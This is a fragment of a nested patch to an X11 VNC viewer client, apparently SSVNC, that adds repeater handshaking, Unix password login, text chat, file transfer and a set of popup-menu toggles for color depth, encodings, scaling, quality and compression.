-+ if (saw_appshare) {
-+ appData.appShare = True;
-+ }
-+
-+ if (save_sbw) {
-+ appData.sbWidth = save_sbw;
-+ }
-+
-+ if (appData.chatOnly) {
-+ appData.encodingsString = "raw hextile";
-+ }
-+
-+ if (pw_loc != NULL) {
-+ char *q = pw_loc;
-+ while (*q != '\0' && !isspace(*q)) {
-+ *q = ' ';
-+ q++;
-+ }
-+ }
-
- /* Unless we accepted an incoming connection, make a TCP connection to the
- given VNC server */
-
-- if (!listenSpecified) {
-- if (!ConnectToRFBServer(vncServerHost, vncServerPort)) exit(1);
-- }
-+ if (appData.repeaterUltra == NULL) {
-+ if (getenv("SSVNC_REPEATER") != NULL) {
-+ appData.repeaterUltra = strdup(getenv("SSVNC_REPEATER"));
-+ }
-+ }
-+
-+ if (!listenSpecified) {
-+ if (!ConnectToRFBServer(vncServerHost, vncServerPort)) {
-+ exit(1);
-+ }
-+ if (appData.repeaterUltra != NULL) {
-+ char tmp[256];
-+ if (strstr(appData.repeaterUltra, "SCIII=") == appData.repeaterUltra) {
-+ appData.repeaterUltra = strdup(appData.repeaterUltra + strlen("SCIII="));
-+ fprintf(stderr, "sending 'testB' to ultravnc SC III SSL repeater...\n");
-+ WriteExact(rfbsock, "testB" , 5);
-+ }
-+ if (ReadFromRFBServer(tmp, 12)) {
-+ tmp[12] = '\0';
-+ fprintf(stderr, "repeater 1st proto line: '%s'\n", tmp);
-+ if (strstr(tmp, "RFB 000.000") == tmp) {
-+ int i;
-+ for (i=0; i<256; i++) {
-+ tmp[i] = '\0';
-+ }
-+ for (i=0; i<250; i++) {
-+ if (i >= (int) strlen(appData.repeaterUltra)) {
-+ break;
-+ }
-+ tmp[i] = appData.repeaterUltra[i];
-+ }
-+ fprintf(stderr, "sending '%s' to repeater...\n", tmp);
-+ WriteExact(rfbsock, tmp, 250);
-+ }
-+ } else {
-+ fprintf(stderr, "repeater NO proto line!\n");
-+ }
-+ }
-+ }
-
- /* Initialise the VNC connection, including reading the password */
-
-- if (!InitialiseRFBConnection()) exit(1);
-+ if (!InitialiseRFBConnection()) {
-+ Cleanup();
-+ exit(1);
-+ }
-+ if (appData.unixPW != NULL) {
-+ unixpw(appData.unixPW, 0);
-+ } else if (getenv("SSVNC_UNIXPW")) {
-+ unixpw(getenv("SSVNC_UNIXPW"), 0);
-+ }
-
- /* Create the "popup" widget - this won't actually appear on the screen until
- some user-defined event causes the "ShowPopup" action to be invoked */
-
-- CreatePopup();
-+ CreatePopup();
-+ CreateScaleN();
-+ CreateTurboVNC();
-+ CreateQuality();
-+ CreateCompress();
-+ CreateChat();
-
- /* Find the best pixel format and X visual/colormap to use */
-
-- SetVisualAndCmap();
-+ SetVisualAndCmap();
-
- /* Create the "desktop" widget, and perform initialisation which needs doing
- before the widgets are realized */
-
-- ToplevelInitBeforeRealization();
-+ ToplevelInitBeforeRealization();
-
-- DesktopInitBeforeRealization();
-+ DesktopInitBeforeRealization();
-
- /* "Realize" all the widgets, i.e. actually create and map their X windows */
-
-- XtRealizeWidget(toplevel);
-+ XtRealizeWidget(toplevel);
-
- /* Perform initialisation that needs doing after realization, now that the X
- windows exist */
-
-- InitialiseSelection();
-+ InitialiseSelection();
-
-- ToplevelInitAfterRealization();
-+ ToplevelInitAfterRealization();
-
-- DesktopInitAfterRealization();
-+ DesktopInitAfterRealization();
-
- /* Tell the VNC server which pixel format and encodings we want to use */
-
-- SetFormatAndEncodings();
-+ SetFormatAndEncodings();
-+
-+ if (appData.chatOnly) {
-+ chat_window_only();
-+ ToggleTextChat(0, NULL, NULL, NULL);
-+ }
-
- /* Now enter the main loop, processing VNC messages. X events will
- automatically be processed whenever the VNC connection is idle. */
-
-- while (1) {
-- if (!HandleRFBServerMessage())
-- break;
-- }
-+ while (1) {
-+ if (!HandleRFBServerMessage()) {
-+ break;
-+ }
-+ if (appData.chatOnly) {
-+ chat_window_only();
-+ }
-+ }
-+
-+ Cleanup();
-+
-+ return 0;
-+}
-+
-+/*
-+ * Toggle8bpp
-+ */
-+
-+static int last_ncolors = 0;
-+static int save_useBGR233 = 0;
-+static Bool save_useBGR565 = False;
-+
-+static Widget b8 = NULL;
-+static Widget b16 = NULL;
-+static Widget bfull = NULL;
-+
-+int do_format_change = 0;
-+int do_cursor_change = 0;
-+double do_fb_update = 0.0;
-+static void schedule_format_change(void) {
-+ do_format_change = 1;
-+ do_cursor_change = 0;
-+}
-+extern double dnow(void);
-+static void schedule_fb_update(void) {
-+ do_fb_update = dnow();
-+}
-+static void init_format_change(void) {
-+ appDataNew.useBGR233 = appData.useBGR233;
-+ appDataNew.useBGR565 = appData.useBGR565;
-+ appDataNew.useGreyScale = appData.useGreyScale;
-+ appDataNew.enableJPEG = appData.enableJPEG;
-+ appDataNew.encodingsString = appData.encodingsString;
-+ appDataNew.useRemoteCursor = appData.useRemoteCursor;
-+ appDataNew.useX11Cursor = appData.useX11Cursor;
-+ appDataNew.useRawLocal = appData.useRawLocal;
-+ appDataNew.qualityLevel = appData.qualityLevel;
-+ appDataNew.compressLevel = appData.compressLevel;
-+}
-+void cutover_format_change(void) {
-+ appData.useBGR233 = appDataNew.useBGR233;
-+ appData.useBGR565 = appDataNew.useBGR565;
-+ appData.useGreyScale = appDataNew.useGreyScale;
-+ appData.enableJPEG = appDataNew.enableJPEG;
-+ appData.encodingsString = appDataNew.encodingsString;
-+ appData.useRemoteCursor = appDataNew.useRemoteCursor;
-+ appData.useX11Cursor = appDataNew.useX11Cursor;
-+ appData.useRawLocal = appDataNew.useRawLocal;
-+ appData.qualityLevel = appDataNew.qualityLevel;
-+ appData.compressLevel = appDataNew.compressLevel;
-+}
-+
-+void
-+Toggle8bpp(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ fprintf(stderr, "Toggle8bpp: %d\n", appData.useBGR233);
-+ b8 = w;
-+ init_format_change();
-+ if (appData.useBGR233) {
-+ last_ncolors = appData.useBGR233;
-+ appDataNew.useBGR233 = 0;
-+ appDataNew.useBGR565 = save_useBGR565;
-+ fprintf(stderr, "8bpp: off\n");
-+ } else {
-+ if (!last_ncolors) last_ncolors = 256;
-+ appDataNew.useBGR233 = last_ncolors;
-+ save_useBGR565 = appData.useBGR565;
-+ appDataNew.useBGR565 = False;
-+ fprintf(stderr, "8bpp: on (%d colors)\n", appDataNew.useBGR233);
-+ }
-+ schedule_format_change();
-+ if (w || ev || params || num_params) {}
-+}
-+
-+
-+void
-+Toggle16bpp(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ fprintf(stderr, "Toggle16bpp: %d\n", appData.useBGR565);
-+ b16 = w;
-+ init_format_change();
-+ if (appData.useBGR565) {
-+ appDataNew.useBGR565 = False;
-+ appDataNew.useBGR233 = save_useBGR233;
-+ fprintf(stderr, "16bpp: off\n");
-+ } else {
-+ appDataNew.useBGR565 = True;
-+ save_useBGR233 = appData.useBGR233;
-+ appDataNew.useBGR233 = 0;
-+ fprintf(stderr, "16bpp: on\n");
-+ }
-+ schedule_format_change();
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleFullColor(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ fprintf(stderr, "ToggleFullColor\n");
-+ bfull = w;
-+ init_format_change();
-+ if (appData.useBGR565 || appData.useBGR233) {
-+ save_useBGR565 = appData.useBGR565;
-+ appDataNew.useBGR565 = False;
-+ save_useBGR233 = appData.useBGR233;
-+ appDataNew.useBGR233 = 0;
-+ fprintf(stderr, "FullColor: on\n");
-+ } else {
-+ if (save_useBGR565) {
-+ appDataNew.useBGR565 = True;
-+ appDataNew.useBGR233 = 0;
-+ fprintf(stderr, "FullColor off -> 16bpp.\n");
-+ } else {
-+ appDataNew.useBGR565 = False;
-+ if (!save_useBGR233) save_useBGR233 = 256;
-+ appDataNew.useBGR233 = save_useBGR233;
-+ fprintf(stderr, "FullColor off -> 8bpp.\n");
-+ }
-+ }
-+ schedule_format_change();
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleXGrab(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.grabAll) {
-+ appData.grabAll = False;
-+ } else {
-+ appData.grabAll = True;
-+ }
-+ fprintf(stderr, "ToggleXGrab, current=%d\n", appData.grabAll);
-+ /* always ungrab to be sure, fullscreen will handle the rest */
-+ XUngrabServer(dpy);
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleEscapeActive(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.escapeActive) {
-+ appData.escapeActive = False;
-+ } else {
-+ appData.escapeActive = True;
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+/*
-+ * ToggleNColors
-+ */
-+
-+static Widget w256 = NULL;
-+static Widget w64 = NULL;
-+static Widget w8 = NULL;
-+
-+void
-+Toggle256Colors(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ w256 = w;
-+ if (appData.useBGR233 != 256) {
-+ fprintf(stderr, "256 colors: on\n");
-+ init_format_change();
-+ last_ncolors = appDataNew.useBGR233 = 256;
-+ save_useBGR565 = appData.useBGR565;
-+ appDataNew.useBGR565 = False;
-+ schedule_format_change();
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+Toggle64Colors(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ w64 = w;
-+ if (appData.useBGR233 != 64) {
-+ fprintf(stderr, "64 colors: on\n");
-+ init_format_change();
-+ last_ncolors = appDataNew.useBGR233 = 64;
-+ save_useBGR565 = appData.useBGR565;
-+ appDataNew.useBGR565 = False;
-+ schedule_format_change();
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+Toggle8Colors(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ w8 = w;
-+ if (appData.useBGR233 != 8) {
-+ fprintf(stderr, "8 colors: on\n");
-+ init_format_change();
-+ last_ncolors = appDataNew.useBGR233 = 8;
-+ save_useBGR565 = appData.useBGR565;
-+ appDataNew.useBGR565 = False;
-+ schedule_format_change();
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleGreyScale(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ fprintf(stderr, "ToggleGreyScale\n");
-+ init_format_change();
-+ if (appData.useGreyScale) {
-+ appDataNew.useGreyScale = False;
-+ fprintf(stderr, "greyscale: off\n");
-+ } else {
-+ appDataNew.useGreyScale = True;
-+ fprintf(stderr, "greyscale: on\n");
-+ }
-+ schedule_format_change();
-+ if (w || ev || params || num_params) {}
-+}
-+
-+/*
-+ * ToggleJPEG
-+ */
-+
-+void
-+ToggleJPEG(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ init_format_change();
-+ if (appData.enableJPEG) {
-+ appDataNew.enableJPEG = False;
-+ fprintf(stderr, "JPEG: off\n");
-+ } else {
-+ appDataNew.enableJPEG = True;
-+ fprintf(stderr, "JPEG: on\n");
-+ }
-+ schedule_format_change();
-+ if (w || ev || params || num_params) {}
-+}
-+
-+/*
-+ * ToggleTightZRLE
-+ */
-+
-+static Bool usingZRLE = False;
-+static Bool usingZYWRLE = False;
-+static Bool usingHextile = False;
-+extern int skip_maybe_sync;
-+
-+void
-+ToggleTightZRLE(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char prefTight[] = "copyrect tight zrle zywrle zlib hextile corre rre raw";
-+ char prefZRLE[] = "copyrect zrle zywrle tight zlib hextile corre rre raw";
-+ init_format_change();
-+ usingHextile = False;
-+ if (! appData.encodingsString) {
-+ appDataNew.encodingsString = strdup(prefZRLE);
-+ usingZRLE = True;
-+ fprintf(stderr, "prefer: ZRLE\n");
-+ } else {
-+ char *t, *z;
-+ static int first = 1;
-+ t = strstr(appData.encodingsString, "tight");
-+ z = strstr(appData.encodingsString, "zrle");
-+ if (first && usingZRLE) {
-+ appDataNew.encodingsString = strdup(prefTight);
-+ usingZRLE = False;
-+ usingZYWRLE = False;
-+ } else if (! t) {
-+ appDataNew.encodingsString = strdup(prefZRLE);
-+ usingZRLE = True;
-+ fprintf(stderr, "prefer: ZRLE\n");
-+ } else if (! z) {
-+ appDataNew.encodingsString = strdup(prefTight);
-+ usingZRLE = False;
-+ usingZYWRLE = False;
-+ skip_maybe_sync = 0;
-+ fprintf(stderr, "prefer: Tight\n");
-+ } else {
-+ if (t < z) {
-+ appDataNew.encodingsString = strdup(prefZRLE);
-+ usingZRLE = True;
-+ fprintf(stderr, "prefer: ZRLE\n");
-+ } else {
-+ appDataNew.encodingsString = strdup(prefTight);
-+ usingZRLE = False;
-+ usingZYWRLE = False;
-+ skip_maybe_sync = 0;
-+ fprintf(stderr, "prefer: Tight\n");
-+ }
-+ }
-+ first = 0;
-+ }
-+ schedule_format_change();
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleZRLEZYWRLE(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char prefZYWRLE[] = "copyrect zywrle zrle tight zlib hextile corre rre raw";
-+ char prefZRLE[] = "copyrect zrle zywrle tight zlib hextile corre rre raw";
-+ init_format_change();
-+ usingZRLE = True;
-+ usingHextile = False;
-+ if (! appData.encodingsString) {
-+ appDataNew.encodingsString = strdup(prefZYWRLE);
-+ usingZYWRLE = True;
-+ fprintf(stderr, "prefer: ZYWRLE\n");
-+ } else {
-+ char *z, *w;
-+ w = strstr(appData.encodingsString, "zywrle");
-+ z = strstr(appData.encodingsString, "zrle");
-+ if (usingZYWRLE) {
-+ appDataNew.encodingsString = strdup(prefZRLE);
-+ fprintf(stderr, "prefer: ZRLE\n");
-+ usingZYWRLE = False;
-+ skip_maybe_sync = 0;
-+ } else {
-+ appDataNew.encodingsString = strdup(prefZYWRLE);
-+ fprintf(stderr, "prefer: ZYWRLE\n");
-+ usingZYWRLE = True;
-+ }
-+ }
-+ schedule_format_change();
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleTightHextile(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char prefTight[] = "copyrect tight zrle zywrle zlib hextile corre rre raw";
-+ char prefHextile[] = "copyrect hextile tight zrle zywrle zlib corre rre raw";
-+ init_format_change();
-+ usingZRLE = False;
-+ usingZYWRLE = False;
-+ if (! appData.encodingsString) {
-+ appDataNew.encodingsString = strdup(prefHextile);
-+ usingHextile = True;
-+ fprintf(stderr, "prefer: Hextile\n");
-+ } else {
-+ char *t, *z;
-+ static int first = 1;
-+ t = strstr(appData.encodingsString, "tight");
-+ z = strstr(appData.encodingsString, "hextile");
-+ if (first && usingHextile) {
-+ appDataNew.encodingsString = strdup(prefTight);
-+ usingHextile = False;
-+ } else if (! t) {
-+ appDataNew.encodingsString = strdup(prefHextile);
-+ usingHextile = True;
-+ fprintf(stderr, "prefer: Hextile\n");
-+ } else if (! z) {
-+ appDataNew.encodingsString = strdup(prefTight);
-+ usingHextile = False;
-+ skip_maybe_sync = 0;
-+ fprintf(stderr, "prefer: Tight\n");
-+ } else {
-+ if (t < z) {
-+ appDataNew.encodingsString = strdup(prefHextile);
-+ usingHextile = True;
-+ fprintf(stderr, "prefer: Hextile\n");
-+ } else {
-+ appDataNew.encodingsString = strdup(prefTight);
-+ usingHextile = False;
-+ skip_maybe_sync = 0;
-+ fprintf(stderr, "prefer: Tight\n");
-+ }
-+ }
-+ first = 0;
-+ }
-+ schedule_format_change();
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void scale_check_zrle(void) {
-+ static int didit = 0;
-+ if (didit) {
-+ return;
-+ }
-+ didit = 1;
-+ if (getenv("SSVNC_PRESERVE_ENCODING")) {
-+ return;
-+ }
-+ if (!usingZRLE && !usingHextile) {
-+ Widget w = 0;
-+ fprintf(stderr, "\nSwitching to faster ZRLE encoding in client-side scaling mode.\n");
-+ fprintf(stderr, "Switch back to Tight via the Popup menu if you prefer it.\n\n");
-+ ToggleTightZRLE(w, NULL, NULL, NULL);
-+ }
-+}
-+
-+/*
-+ * ToggleViewOnly
-+ */
-+
-+void
-+ToggleViewOnly(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.viewOnly) {
-+ appData.viewOnly = False;
-+ fprintf(stderr, "viewonly: off\n");
-+ } else {
-+ appData.viewOnly = True;
-+ fprintf(stderr, "viewonly: on\n");
-+ }
-+ Xcursors(1);
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleCursorShape(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ init_format_change();
-+ if (appData.useRemoteCursor) {
-+ appDataNew.useRemoteCursor = False;
-+ fprintf(stderr, "useRemoteCursor: off\n");
-+ } else {
-+ appDataNew.useRemoteCursor = True;
-+ fprintf(stderr, "useRemoteCursor: on\n");
-+ }
-+ schedule_format_change();
-+ if (!appDataNew.useRemoteCursor) {
-+ do_cursor_change = 1;
-+ } else {
-+ do_cursor_change = -1;
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleCursorAlpha(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useCursorAlpha) {
-+ appData.useCursorAlpha = False;
-+ fprintf(stderr, "useCursorAlpha: off\n");
-+ } else {
-+ appData.useCursorAlpha = True;
-+ fprintf(stderr, "useCursorAlpha: on\n");
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleX11Cursor(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ init_format_change();
-+ if (appData.useX11Cursor) {
-+ appDataNew.useX11Cursor = False;
-+ fprintf(stderr, "useX11Cursor: off\n");
-+ } else {
-+ appDataNew.useX11Cursor = True;
-+ fprintf(stderr, "useX11Cursor: on\n");
-+ }
-+ schedule_format_change();
-+ do_cursor_change = 1;
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleBell(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useBell) {
-+ appData.useBell = False;
-+ fprintf(stderr, "useBell: off\n");
-+ } else {
-+ appData.useBell = True;
-+ fprintf(stderr, "useBell: on\n");
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleRawLocal(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ init_format_change();
-+ if (appData.useRawLocal) {
-+ appDataNew.useRawLocal = False;
-+ fprintf(stderr, "useRawLocal: off\n");
-+ } else {
-+ appDataNew.useRawLocal = True;
-+ fprintf(stderr, "useRawLocal: on\n");
-+ }
-+ schedule_format_change();
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleServerInput(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.serverInput) {
-+ appData.serverInput= False;
-+ fprintf(stderr, "serverInput: off\n");
-+ SendServerInput(True);
-+ } else {
-+ appData.serverInput = True;
-+ fprintf(stderr, "serverInput: on\n");
-+ SendServerInput(False);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+TogglePipelineUpdates(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.pipelineUpdates) {
-+ appData.pipelineUpdates= False;
-+ fprintf(stderr, "pipeline-update: off\n");
-+ } else {
-+ appData.pipelineUpdates = True;
-+ fprintf(stderr, "pipeline-update: on\n");
-+ }
-+ /* XXX request one to be sure? */
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleSendClipboard(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.sendClipboard) {
-+ appData.sendClipboard= False;
-+ fprintf(stderr, "Send CLIPBOARD Selection: off (send PRIMARY instead)\n");
-+ } else {
-+ appData.sendClipboard = True;
-+ fprintf(stderr, "Send CLIPBOARD Selection: on (do not send PRIMARY)\n");
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+ToggleSendAlways(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.sendAlways) {
-+ appData.sendAlways= False;
-+ fprintf(stderr, "Send Selection Always: off\n");
-+ } else {
-+ appData.sendAlways = True;
-+ fprintf(stderr, "Send Selection Always: on\n");
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+
-+Bool _sw1_ = False; /* XXX this is a weird bug... */
-+Bool _sw2_ = False;
-+Bool _sw3_ = False;
-+Bool selectingSingleWindow = False;
-+
-+extern Cursor bogoCursor;
-+
-+void
-+ToggleSingleWindow(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.singleWindow) {
-+ appData.singleWindow= False;
-+ fprintf(stderr, "singleWindow: off\n");
-+ SendSingleWindow(-1, -1);
-+ } else {
-+ appData.singleWindow = True;
-+ selectingSingleWindow = True;
-+ fprintf(stderr, "singleWindow: on\n");
-+ if (bogoCursor != None) {
-+ XDefineCursor(dpy, desktopWin, bogoCursor);
-+ }
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void raiseme(int force);
-+void AppendChatInput(char *);
-+
-+extern void ShowChat(Widget w, XEvent *event, String *params, Cardinal *num_params);
-+extern void ShowFile(Widget w, XEvent *event, String *params, Cardinal *num_params);
-+extern Bool SendTextChatFinished(void);
-+
-+
-+void printChat(char *str, Bool raise) {
-+ if (appData.termChat) {
-+ if (raise) {
-+ raiseme(0);
-+ }
-+ fprintf(stderr, str);
-+ } else {
-+ if (raise) {
-+ ShowChat(0, 0, 0, 0);
-+ }
-+ AppendChatInput(str);
-+ }
-+}
-+
-+void
-+ToggleTextChat(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.chatActive) {
-+ printChat("\n*SentClose*\n\n", False);
-+ SendTextChatClose();
-+ SendTextChatFinished();
-+ HideChat(0, NULL, NULL, NULL);
-+ appData.chatActive= False;
-+ } else {
-+ ShowChat(0, 0, 0, 0);
-+ SendTextChatOpen();
-+ if (appData.termChat) {
-+ printChat("\n*SentOpen*\n\nSend: ", True);
-+ } else {
-+ printChat("\n*SentOpen*\n", True);
-+ }
-+ appData.chatActive = True;
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+extern int filexfer_sock;
-+extern pid_t java_helper;
-+#define KILLJAVA
-+#ifdef KILLJAVA
-+#include <signal.h>
-+#endif
-+
-+void
-+ToggleFileXfer(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ static double last_start = 0.0;
-+ if (appData.fileActive) {
-+#if 0
-+ HideFile(w, ev, params, num_params);
-+ appData.fileActive = False;
-+#endif
-+#ifndef KILLJAVA
-+ if (filexfer_sock >= 0) {
-+ close(filexfer_sock);
-+ }
-+#else
-+ if (java_helper != 0) {
-+ int i;
-+ if (dnow() < last_start + 6.0) {
-+ fprintf(stderr, "skipping early kill of java helper (less than 5 secs)\n");
-+ } else {
-+ for (i=1; i<=5; i++) {
-+ pid_t p = java_helper + i;
-+ fprintf(stderr, "trying to kill java helper: %d\n", p);
-+ if (kill(p, SIGTERM) == 0) {
-+ java_helper = 0;
-+ break;
-+ }
-+ }
-+ }
-+ }
-+#endif
-+ } else {
-+ ShowFile(w, ev, params, num_params);
-+ appData.fileActive = True;
-+ last_start = dnow();
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+static int fooHandler(Display *dpy, XErrorEvent *error) {
-+ if (dpy || error) {}
-+ return 0;
-+}
-+
-+void raiseme(int force) {
-+ if ((force || appData.termChat) && getenv("WINDOWID")) {
-+ unsigned long w;
-+ if (sscanf(getenv("WINDOWID"), "%lu", &w) == 1) {
-+ ;
-+ } else if (sscanf(getenv("WINDOWID"), "0x%lx", &w) == 1) {
-+ ;
-+ } else {
-+ w = 0;
-+ }
-+ if (w != 0) {
-+ XErrorHandler old = XSetErrorHandler(fooHandler);
-+ XMapRaised(dpy, (Window) w);
-+ XSync(dpy, False);
-+ XSetErrorHandler(old);
-+ }
-+ }
-+}
-+
-+void set_server_scale(int n) {
-+ if (n >= 1 && n < 100) {
-+ int w = si.framebufferWidth;
-+ int h = si.framebufferHeight;
-+ appData.serverScale = n;
-+ SendServerScale(n);
-+ if (0) SendFramebufferUpdateRequest(0, 0, w, h, False);
-+ schedule_fb_update();
-+ }
-+}
-+
-+void
-+DoServerScale(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char str[100], *s, *q;
-+ int n;
-+ if (1) {
-+ s = DoScaleNDialog();
-+ } else {
-+ raiseme(1);
-+ fprintf(stderr, "\n\n\a\nEnter integer n for 1/n server scaling: ");
-+ str[0] = '\0';
-+ fgets(str, 100, stdin);
-+ s = str;
-+ q = strstr(str, "\n");
-+ if (q) *q = '\0';
-+ }
-+ if (s[0] != '\0') {
-+ n = atoi(s);
-+ set_server_scale(n);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void set_server_quality(int n) {
-+ fprintf(stderr, "set_quality: %d\n", n);
-+ if (n >= 0 && n <= 9) {
-+ int w = si.framebufferWidth;
-+ int h = si.framebufferHeight;
-+ init_format_change();
-+ appDataNew.qualityLevel = n;
-+ SendFramebufferUpdateRequest(0, 0, w, h, False);
-+ schedule_format_change();
-+ }
-+}
-+
-+void
-+DoServerQuality(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char str[100], *s, *q;
-+ int n;
-+ if (1) {
-+ s = DoQualityDialog();
-+ } else {
-+ raiseme(1);
-+ fprintf(stderr, "\n\n\a\nEnter integer 1 <= n <= 9 for quality setting: ");
-+ str[0] = '\0';
-+ fgets(str, 100, stdin);
-+ s = str;
-+ q = strstr(str, "\n");
-+ if (q) *q = '\0';
-+ }
-+ if (s[0] != '\0') {
-+ n = atoi(s);
-+ set_server_quality(n);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void set_server_compress(int n) {
-+ fprintf(stderr, "set_compress: %d\n", n);
-+ if (n >= 0 && n <= 9) {
-+ int w = si.framebufferWidth;
-+ int h = si.framebufferHeight;
-+ init_format_change();
-+ appDataNew.compressLevel = n;
-+ SendFramebufferUpdateRequest(0, 0, w, h, False);
-+ schedule_format_change();
-+ }
-+}
-+
-+void
-+DoServerCompress(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char str[100], *s, *q;
-+ int n;
-+ if (1) {
-+ s = DoCompressDialog();
-+ } else {
-+ raiseme(1);
-+ fprintf(stderr, "\n\n\a\nEnter integer 1 <= n <= 9 for compress level setting: ");
-+ str[0] = '\0';
-+ fgets(str, 100, stdin);
-+ s = str;
-+ q = strstr(str, "\n");
-+ if (q) *q = '\0';
-+ }
-+ if (s[0] != '\0') {
-+ n = atoi(s);
-+ set_server_compress(n);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+extern void rescale_image(void);
-+extern void get_scale_values(double *fx, double *fy);
-+
-+void
-+SetScale(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char *s;
-+ s = DoScaleDialog();
-+ if (s[0] != '\0') {
-+#if 0
-+ int w = si.framebufferWidth;
-+ int h = si.framebufferHeight;
-+#endif
-+ double fx, fy;
-+ int fs = 0;
-+ if (appData.scale != NULL && !strcmp(s, appData.scale)) {
-+ return;
-+ }
-+
-+ if (!strcasecmp(s, "none")) {
-+ appData.scale = NULL;
-+ } else if (!strcmp(s, "1.0")) {
-+ appData.scale = NULL;
-+ } else if (!strcmp(s, "1")) {
-+ appData.scale = NULL;
-+ } else {
-+ appData.scale = strdup(s);
-+ }
-+ if (appData.scale != NULL) {
-+ get_scale_values(&fx, &fy);
-+ if (fx <= 0.0 || fy <= 0.0) {
-+ appData.scale = NULL;
-+ return;
-+ }
-+ }
-+
-+ if (appData.fullScreen) {
-+ fs = 1;
-+ FullScreenOff();
-+ }
-+ rescale_image();
-+ if (fs) {
-+ FullScreenOn();
-+ }
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetEscapeKeys(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char *s;
-+ s = DoEscapeKeysDialog();
-+ fprintf(stderr, "set escape keys: '%s'\n", s);
-+ if (s[0] != '\0') {
-+ appData.escapeKeys = strdup(s);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void set_ycrop(int n) {
-+ if (n >= 1) {
-+ int w = si.framebufferWidth;
-+ int h = si.framebufferHeight;
-+ appData.yCrop = n;
-+ ReDoDesktop();
-+ SendFramebufferUpdateRequest(0, 0, w, h, False);
-+ schedule_fb_update();
-+ }
-+}
-
-- Cleanup();
-+void
-+SetYCrop(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char str[100], *q, *s;
-+ int n;
-+ if (1) {
-+ s = DoYCropDialog();
-+ } else {
-+ raiseme(1);
-+ fprintf(stderr, "\n\n\a\nEnter pixel size n -ycrop maximum y-height: ");
-+ str[0] = '\0';
-+ fgets(str, 100, stdin);
-+ s = str;
-+ q = strstr(str, "\n");
-+ if (q) *q = '\0';
-+ }
-+ if (s[0] != '\0') {
-+ n = atoi(s);
-+ set_ycrop(n);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void set_scbar(int n) {
-+ if (n >= 1) {
-+ int w = si.framebufferWidth;
-+ int h = si.framebufferHeight;
-+fprintf(stderr, "set_scbat: %d\n", n);
-+ appData.sbWidth = n;
-+ ReDoDesktop();
-+ SendFramebufferUpdateRequest(0, 0, w, h, False);
-+ schedule_fb_update();
-+ }
-+}
-+
-+void
-+SetScbar(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ char str[100], *q, *s;
-+ int n;
-+ if (1) {
-+ s = DoScbarDialog();
-+ } else {
-+ raiseme(1);
-+ fprintf(stderr, "\n\n\a\nEnter pixel size n scrollbar width: ");
-+ str[0] = '\0';
